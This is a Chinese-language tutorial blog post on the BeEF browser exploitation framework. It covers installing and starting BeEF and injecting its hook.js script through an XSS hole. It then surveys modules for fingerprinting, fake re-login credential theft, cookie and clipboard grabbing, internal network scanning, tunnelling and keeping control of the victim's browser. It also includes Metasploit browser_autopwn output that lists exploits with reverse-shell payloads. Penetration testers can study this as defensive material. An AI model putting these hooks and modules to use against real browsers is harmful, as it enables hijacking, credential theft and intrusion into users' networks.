beef框架

旧文迁移,beef啦,似乎知道创宇还是余弦大大在发这个,可以关注一波~

简介

BeEF是Browser Exploitation Framework(浏览器利用框架)的简称,它是一个使用js来攻击web客户端的工具,典型的例子就是用在XSS漏洞上。有了它,渗透测试者就可以在无JavaScript基础的情况下利用js攻击客户端。

结构

它分两个部分:对攻击者开放的WEB用户接口+提供hook.JS与控制功能得通讯服务端,如下图:

安装

在kali下是默认安装,如下即可启动

但是在实际大多把他部署到公网上,这里其他的官网也有
解决依赖性:

1
2
3
4
5
6
7
sudo apt-get update
sudo apt-get install curl git
curl –sSL https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer | bash -s stable
source ~/.rvm/scripts/rvm
rvm install 2.1.5
rvm use 2.1.5 -- default
gem install bundler

下载BeEF:

1
git clone git://github.com/beefproject/beef.git

安装BeEF:

1
2
3
cd beef
bundle install
ruby beef

配置

编辑配置文件

1
vim /etc/beef-xss/config.yaml

使用

启动:

1
2
3
4
5
6
7
Usage: beef [options]
-x, --reset 重置数据库
-v, --verbose 显示调试信息
-a, --ascii_art 输出BeEF的ascii_art
-c, --config FILE 指定配置文件
-p, --port PORT 指定监听端口端口
-w, --wsport WS_PORT 指定BeEF WebSocket监听端口

启动后,需要在存在漏洞的web页面插入JS代码(<script src="http://<IP>:3000/hook.js"></script>),演示方便,在靶机的XSS漏洞处插入代码

用XP打开这个页面后。。。

这时使用浏览器登录beef(http://:3000/ui/panel),可以看到xp已经被攻击了,左面第一个文件夹是在线的,第二个是离线的:

———————————————————————————————————————————点击指定目标,可以看到它默认就会收集浏览器的版本,语言,平台等信息(若要获得的更多信息可以使用信息收集插件):

这里可以将受害主机做跳板使用:

作为代理:

主要使用这些模块:

其中前面的带颜色的圆圈表示在目标上的支持度:

  • Green : 可以在目标浏览器上正确运行
  • Orange : 能够在目标上运行,但是有弹窗等警告,可以配合社会工程模块一起使用
  • Red : 不能再目标浏览器上使用,但是任然可以尝试下。
  • Gray : 未知。。

套路->选中一个命令后,可以在2区域看到命令说明,id然后点击执行,4出会多出一条记录,双击记录在5区域会显示执行结果:

其中常用的就是下面这几个,会有详细介绍:

让用户离开这个页面还能被攻击,即持续化攻击

利用模块,功能实在太强大了,自己挖掘吧

这主要是探测方面的

信息收集

1:浏览器信息
Fingerprinting Browser :使用自定义的URL识别浏览器,对改变user-agent依然有用
Detect Firebug, Detect popup blocker, Detect Google Desktop, Detect unsafe ActiveX…:使用这些探测特定的插件
2:系统信息
Detect Softwares, get registry keys:IE有宽松的权限限制,可以探测已安装的软件,探测注册表键。
Get System Info:使用Java Applet来获取系统的信息-java虚拟机细节,IP内存等
Get Physical Location:通过IP获取用户位置,需要配置geolocation API
Get Clipboard:获取剪切板的信息
3:用户行为
Detect Visited URL,Detect Visited Domains:判断用户是否访问过某个URL
Detect-Social-Networks:判断是否是登录了社交网站
Detect Tor:判断是否使用Tor

社会工程


因为又可控的js,社工就轻松多了
1:欺骗表单密码
Pretty Theft:显示会话过期,重新登陆,欺骗获取用户凭证

Simple Hijacker:有多个模板可供选择
Clippy: 提示用户更新浏览器。。。
2:重定向页面

rediret browser: 完全重定向,那么hook也会失效。。。
rediction module(iframe):这会在iframe里面新开页面,就不会失去hook。。
tabnabbing: 这会在用户切换到其他标签页后刷新后台的页面
3:浏览器扩展
可以欺骗安装恶意的浏览器扩展(flash)然后实现更多功能
Get all cookies
List chrome extensions
Grab Google contacts of the logged in Google account
Inject BeEF in all tabs
Execute javascript code in a new tab
Take screenshot
Send Gvoice SMS
4:点击劫持,随意使用:

网络发现

With JavaScript hacks, it is possible to launch network attacks through a hooked browser.
有两个模块用于获取受害者ip
Get Internal IP WebRTC:用在Firefox和chrome上,获取受害主机所有ip地址

Get Internal IP:使用了java applet,需要用户点击允许运行未签名的java应用

Identify LAN Subnets:这个模块只适用于Firefox and Chrome,使用基于时间的XHR来发现子网ip。

Get HTTP Servers:获取有web服务的主机通过获取(/favicon.ico, /favicon.png, /images/favicon.ico, /images/favicon.png)

Ping Sweep:使用基于时间的XHR请求来识别存活主机,只适用于Firefox
Ping Sweep (FF):只适用于安装java的Firefox上,使用java API。
Ping Sweep (Java):使用了Java applet,需要用户允许运行未签名的Java applet。

The Cross-Origin Scanner (CORS) :发送CORS请求到指定的ip范围去识别web服务。

The Cross-Origin Scanner (Flash) :同上,只工作在安装了Flash的 Firefox and Chrome上
DNS Enumeration:枚举DNS
Port Scanning:扫描端口

Network Fingerprinting:打印网络指纹

Network Map:拓扑图

还可以把它保存成图片:

Network Hosts:任意地方右击可以使用主机发现

Network Services:还是右键,选择网络服务可以做这些:

  • Fingerprint HTTP servers
  • Cross-Origin scan host for CORS enabled HTTP servers
  • Cross-Origin scan host for Flash cross-origin enabled HTTP servers
  • Scan for remote file include (reverse shell)
  • Scan for known vulnerable Shell Shock CGIs. (reverse shell)

metasploit

一旦metasploit已经被配置并且运行,它的模块将会被直接包含进beef的模块树:

当选择一个模块,所有的选项也直接被显示在beef中:

你只需要等待攻击成功就好了:

Browser Autopwn

While the feature is not directly integrated in BeEF, you can easily use the function of Metasploit with BeEF.
当有什么特色功能没有被直接整合在beef里面你也可以简单地用beef使用msf的Browser Autopwn功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > show options

Module options (auxiliary/server/browser_autopwn2):

Name Current Setting Required Description
---- --------------- -------- -----------
EXCLUDE_PATTERN no Pattern search to exclude specific modules
INCLUDE_PATTERN no Pattern search to include specific modules
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Auxiliary action:

Name Description
---- -----------
WebServer Start a bunch of modules and direct clients to appropriate exploits

First, launch browser_autopwn or browser_autopwn2 in Metasploit and get the BrowserAutoPwn URL, for example:
msf auxiliary(browser_autopwn2) > run -z
[*] Auxiliary module execution completed

[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) >
[*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 6.01071043
[*] Using URL: http://0.0.0.0:8080/5WNrYZjr
[*] Local IP: http://10.1.1.175:8080/5WNrYZjr

[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.

Exploits
========

Order Rank Name Payload
----- ---- ---- -------
1 Excellent webview_addjavascriptinterface android/meterpreter/reverse_tcp on 4443
2 Excellent samsung_knox_smdm_url android/meterpreter/reverse_tcp on 4443
3 Excellent firefox_svg_plugin firefox/shell_reverse_tcp on 4442
4 Excellent firefox_webidl_injection firefox/shell_reverse_tcp on 4442
5 Excellent firefox_tostring_console_injection firefox/shell_reverse_tcp on 4442
6 Excellent firefox_proto_crmfrequest firefox/shell_reverse_tcp on 4442
7 Great adobe_flash_net_connection_confusion windows/meterpreter/reverse_tcp on 4444
8 Great adobe_flash_shader_drawing_fill windows/meterpreter/reverse_tcp on 4444
9 Great adobe_flash_shader_job_overflow windows/meterpreter/reverse_tcp on 4444
10 Great adobe_flash_hacking_team_uaf windows/meterpreter/reverse_tcp on 4444
11 Great adobe_flash_uncompress_zlib_uaf windows/meterpreter/reverse_tcp on 4444
12 Great adobe_flash_opaque_background_uaf windows/meterpreter/reverse_tcp on 4444
13 Great adobe_flash_pixel_bender_bof windows/meterpreter/reverse_tcp on 4444
14 Great adobe_flash_nellymoser_bof windows/meterpreter/reverse_tcp on 4444
15 Great adobe_flash_copy_pixels_to_byte_array windows/meterpreter/reverse_tcp on 4444
16 Great adobe_flash_worker_byte_array_uaf windows/meterpreter/reverse_tcp on 4444
17 Great adobe_flash_casi32_int_overflow windows/meterpreter/reverse_tcp on 4444
18 Great adobe_flash_domain_memory_uaf windows/meterpreter/reverse_tcp on 4444
19 Good adobe_flash_uncompress_zlib_uninitialized windows/meterpreter/reverse_tcp on 4444
20 Good wellintech_kingscada_kxclientdownload windows/meterpreter/reverse_tcp on 4444
21 Good ms14_064_ole_code_execution windows/meterpreter/reverse_tcp on 4444

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://10.1.1.175:8080/5WNrYZjr
[*] Server started.
[*] Starting the payload handler...

注意,BrowserAutoPwn的 URL: http://10.1.1.175:8080/5WNrYZjr
然后使用”Create Invisible Iframe”命令模块在iframe里面去载入autopwn页面:

然后就可以等待shell咯:

隧道

将建立一个代理隧道,(这个隧道只能浏览受害页面所属站点)
1.在想要使用TP的受害浏览器上开启代理:

2.在攻击者的浏览器里面设置下代理,默认是:127.0.0.1:6789

3.这里右图是受害浏览器(opera),左图是攻击浏览器(Firefox,使用了tp),可以看见Firefox正并发的浏览同一域且未盗取cookie。

4.每个使用requester扩展的通过TP发送的XHRs都会在这里显示

XSS Rays

XSS扫描器

持续化控制

1:新建一个页面
Create Pop Under:弹出一个小的空白窗在右下角不容易被发现的位置持续控制

2:禁止用户关闭
Confirm Close Tab:当用户关闭tab时反复询问

3:改写所有URL
Create Foreground iFrame:重写所有URL使打开方式为iframe。
4:使用ajax
Man In The Browser:只能在同一个域下使用

获取位置

(需要配置MaxMind详见配置部分)
Geolocation:使用Phonegap API获取位置
Get Geolocation:使用Get Geolocation获取地址,但是受害者将收到提示除非攻击者处于白名单中。
Get Physical Location:使用签名了的java applet通过附近无线热点来获取信息,也会有提示的。